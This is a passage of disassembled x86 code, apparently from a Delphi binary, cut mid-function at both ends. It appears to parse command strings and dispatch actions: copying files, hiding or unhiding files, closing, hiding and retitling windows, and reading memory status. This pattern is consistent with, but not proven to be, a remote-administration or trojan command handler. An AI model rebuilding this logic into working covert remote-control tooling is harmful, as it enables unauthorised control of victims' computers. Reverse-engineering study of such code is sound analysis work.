push eax
lea eax, [ebp - 0x33c]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x33c]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x477501
push 0xffffffffffffffff
lea edx, [ebp - 0x344]
mov eax, dword [ebp - 0xc]
call fcn.0040a694
mov ecx, dword [ebp - 0x344]
lea eax, [ebp - 0x340]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x340]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
inc edi
dec ebx
jne 0x477411
jmp 0x477549
push 0xffffffffffffffff
lea edx, [ebp - 0x34c]
mov eax, dword [ebp - 0xc]
call fcn.0040a694
mov ecx, dword [ebp - 0x34c]
lea eax, [ebp - 0x348]
mov edx, dword [ebp - 8]
call fcn.00405864
mov eax, dword [ebp - 0x348]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [0x495944]
call fcn.00405530
mov eax, 0x47d93c
call fcn.00475d98
lea eax, [ebp - 0x350]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x350]
mov edx, 0x47d950
call fcn.00405974
jne 0x4775a7
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
mov eax, dword [0x495944]
mov edx, dword [ebp - 8]
call fcn.00405584
lea eax, [ebp - 0x354]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x354]
mov edx, 0x47d968
call fcn.00405974
jne 0x477687
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e50c
call sub.ole32.dll_CoUninitialize
lea eax, [ebp - 0x358]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x358]
mov edx, 0x47d97c
call fcn.00405974
jne 0x477748
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
call fcn.0040a5a8
lea eax, [ebp - 0x35c]
mov edx, dword [ebp - 0x10]
call fcn.00405818
mov edx, dword [ebp - 0x35c]
mov eax, dword [ebp - 0xc]
call fcn.0046db48
test al, al
jne 0x477748
mov eax, 0x47d990
call fcn.00475d98
lea eax, [ebp - 0x360]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x360]
mov edx, 0x47d9a4
call fcn.00405974
jne 0x4777e6
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046db48
test al, al
jne 0x4777e6
mov eax, 0x47d9b8
call fcn.00475d98
lea eax, [ebp - 0x364]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x364]
mov edx, 0x47d9cc
call fcn.00405974
jne 0x477858
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x47781d
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x368]
push eax
mov ecx, ebx
mov edx, 7
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x368]
call fcn.0046db2c
test al, al
je 0x47784e
mov eax, 0x47d93c
call fcn.00475d98
jmp 0x477858
mov eax, 0x47d9dc
call fcn.00475d98
lea eax, [ebp - 0x36c]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x36c]
mov edx, 0x47d9f0
call fcn.00405974
jne 0x4778d3
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0048ce68
test al, al
jne 0x4778c9
push 0x47da00
push dword [ebp - 8]
push 0x47da10
lea eax, [ebp - 0x370]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x370]
call fcn.0046d488
mov eax, 0x47d93c
call fcn.00475d98
lea eax, [ebp - 0x374]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x374]
mov edx, 0x47da20
call fcn.00405974
jne 0x477920
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 2
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
lea eax, [ebp - 0x378]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x378]
mov edx, 0x47da34
call fcn.00405974
jne 0x477970
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
push 0x80
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 8]
mov edx, 0x47da48
call fcn.00405974
jne 0x4779f8
lea eax, [ebp - 0x208]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
push 0x47da48
call fcn.0046e6cc
lea edx, [ebp - 0x380]
call fcn.00409d78
push dword [ebp - 0x380]
push 0x47d4b4
lea eax, [ebp - 0x384]
push eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x38c], eax
mov byte [ebp - 0x388], 0
lea edx, [ebp - 0x38c]
xor ecx, ecx
mov eax, 0x47da58
call fcn.0040afa0
push dword [ebp - 0x384]
lea eax, [ebp - 0x37c]
mov edx, 4
call fcn.004058e0
mov eax, dword [ebp - 0x37c]
call fcn.00475d98
lea eax, [ebp - 0x390]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x390]
mov edx, 0x47da64
call fcn.00405974
jne 0x477a4f
lea eax, [ebp - 0x398]
call fcn.0046e840
mov ecx, dword [ebp - 0x398]
lea eax, [ebp - 0x394]
mov edx, 0x47da64
call fcn.00405864
mov eax, dword [ebp - 0x394]
call fcn.00475d98
lea eax, [ebp - 0x39c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x39c]
mov edx, 0x47da74
call fcn.00405974
jne 0x477aac
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push ebp
lea eax, [ebp - 0x3a0]
call fcn.00485198
mov eax, dword [ebp - 0x3a0]
mov ecx, dword [ebp - 8]
mov edx, 0x47da88
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x3a4]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3a4]
mov edx, 0x47da98
call fcn.00405974
jne 0x477b5d
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
mov eax, dword [ebp - 0xc]
call fcn.00409ee4
lea edx, [ebp - 0x3a8]
call fcn.0046df20
mov eax, dword [ebp - 0x3a8]
mov ecx, dword [ebp - 0x10]
mov edx, 0x47daac
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x3ac]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ac]
mov edx, 0x47dabc
call fcn.00405974
jne 0x477c61
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ee4
mov esi, eax
mov ebx, esi
test ebx, ebx
jle 0x477c57
mov edi, 1
cmp esi, edi
je 0x477c46
lea eax, [ebp - 0x3b0]
push eax
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
mov eax, dword [ebp - 0x3b0]
call fcn.00409ee4
call fcn.00484e64
mov edx, dword [ebp - 0xc]
mov eax, 0x47d7a4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 0xc]
mov edx, 1
call fcn.00405a84
jmp 0x477c53
mov eax, dword [ebp - 0xc]
call fcn.00409ee4
call fcn.00484e64
inc edi
dec ebx
jne 0x477bf0
mov eax, 0x47dad0
call fcn.00475d98
lea eax, [ebp - 0x3b4]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3b4]
mov edx, 0x47dae4
call fcn.00405974
jne 0x477d39
lea eax, [ebp - 8]
mov ecx, 7
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x41783c]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
xor eax, eax
push ebp
push 0x477d32
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x3b8]
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x3b8]
call fcn.00409ee4
call fcn.00484e64
xor edx, edx
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x477cd0
mov eax, 0x47dad0
call fcn.00475d98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x477d39
mov eax, dword [ebp - 0x1a8]
call fcn.00404650
ret
lea eax, [ebp - 0x3bc]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3bc]
mov edx, 0x47daf4
call fcn.00405974
jne 0x477d8d
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.00409ee4
call fcn.00484e64
mov eax, 0x47dad0
call fcn.00475d98
lea eax, [ebp - 0x3c0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3c0]
mov edx, 0x47db0c
call fcn.00405974
jne 0x477f23
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea ecx, [ebp - 0x3c8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046eb14
push dword [ebp - 0x3c8]
push 0x47d4b4
lea ecx, [ebp - 0x3cc]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046ebd4
push dword [ebp - 0x3cc]
lea eax, [ebp - 0x3c4]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x3c4]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x3d0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d0]
mov edx, 0x47db1c
call fcn.00405974
jne 0x477fd7
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47db2c
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47db2c
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046e1f8
lea eax, [ebp - 0x3d4]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d4]
mov edx, 0x47db38
call fcn.00405974
jne 0x478062
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x478020
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3d8]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x3dc]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3dc]
pop edx
call fcn.0046e360
lea eax, [ebp - 0x3e0]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e0]
mov edx, 0x47db48
call fcn.00405974
jne 0x4780ed
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4780ab
sub ebx, 4
mov ebx, dword [ebx]
lea eax, [ebp - 0x3e4]
push eax
mov ecx, ebx
mov edx, 2
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3e8]
push eax
mov ecx, 1
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3e8]
pop edx
call fcn.0046e078
lea eax, [ebp - 0x3ec]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3ec]
mov edx, 0x47db58
call fcn.00405974
jne 0x4781f7
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046f180
lea eax, [ebp - 0x3f0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f0]
mov edx, 0x47db68
call fcn.00405974
jne 0x478301
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046efb4
lea eax, [ebp - 0x3f4]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f4]
mov edx, 0x47db7c
call fcn.00405974
jne 0x47840b
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046f09c
lea eax, [ebp - 0x3f8]
push eax
mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x3f8]
mov edx, 0x47db98
call fcn.00405974
jne 0x478579
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x18]
mov edx, 0x47d6cc
call fcn.00405974
jne 0x47855b
push ebp
lea eax, [ebp - 0x3fc]
call fcn.0046f4ac
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x400]
call fcn.0046f6d8
mov edx, dword [ebp - 0x400]
pop eax
call fcn.00405818
mov eax, dword [ebp - 0x3fc]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
jmp 0x478579
push ebp
lea eax, [ebp - 0x404]
call fcn.0046f4ac
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00475f44
pop ecx
lea eax, [ebp - 0x408]
push eax
mov ecx, 6
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x408]
mov edx, 0x47dbac
call fcn.00405974
jne 0x4785ca
lea eax, [ebp - 8]
mov ecx, 6
mov edx, 1
call fcn.00405a84
push 0
push 0
push 0x10
mov eax, dword [ebp - 8]
call fcn.00409ee4
push eax
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x40c]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x40c]
mov edx, 0x47dbbc
call fcn.00405974
jne 0x478617
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 3
mov eax, dword [ebp - 8]
call fcn.00409ee4
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x410]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x410]
mov edx, 0x47dbd0
call fcn.00405974
jne 0x478664
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
push 6
mov eax, dword [ebp - 8]
call fcn.00409ee4
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x414]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x414]
mov edx, 0x47dbe4
call fcn.00405974
jne 0x4786b1
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 0
mov eax, dword [ebp - 8]
call fcn.00409ee4
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x418]
push eax
mov ecx, 5
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x418]
mov edx, 0x47dbf4
call fcn.00405974
jne 0x4786fe
lea eax, [ebp - 8]
mov ecx, 5
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.00409ee4
push eax
call sub.user32.dll_ShowWindow
lea eax, [ebp - 0x41c]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x41c]
mov edx, 0x47dc04
call fcn.00405974
jne 0x47879a
lea eax, [ebp - 8]
mov ecx, 0x10
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.00409ee4
push eax
call sub.user32.dll_SetWindowTextA
lea eax, [ebp - 0x420]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x420]
mov edx, 0x47dc20
call fcn.00405974
jne 0x47887e
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47d4b4
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x424]
call fcn.0048acd0
mov eax, dword [ebp - 0x424]
